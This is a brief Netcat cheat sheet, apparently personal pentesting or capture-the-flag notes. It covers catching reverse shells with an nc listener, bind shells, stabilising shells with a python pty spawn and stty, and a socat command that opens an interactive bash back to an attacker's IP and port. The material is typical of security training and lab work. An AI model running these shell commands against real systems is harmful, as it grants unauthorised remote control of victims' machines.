π±Netcat
Installation
sudo apt-get install netcat-openbsd
Reverse Shell
Generate a shell from Revshells
Upload it to the target
Start a listener with:
nc -lvnp PORT
Execute shell on victim
Bind Shell
On the target, run
nc -lvnp PORT
Start a listener on your machine using
nc IP PORT
Stabalising Shells
# Basic
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
# Interactive
python3 -c 'import pty;pty.spawn("/bin/bash")'
# CTRL + Z to send task to background
stty raw -echo; fg
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116
# Start Listener (Kali)
socat file:`tty`,raw,echo=0 tcp-listen:PORT
# Connect Back (Victim)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORT
Last updated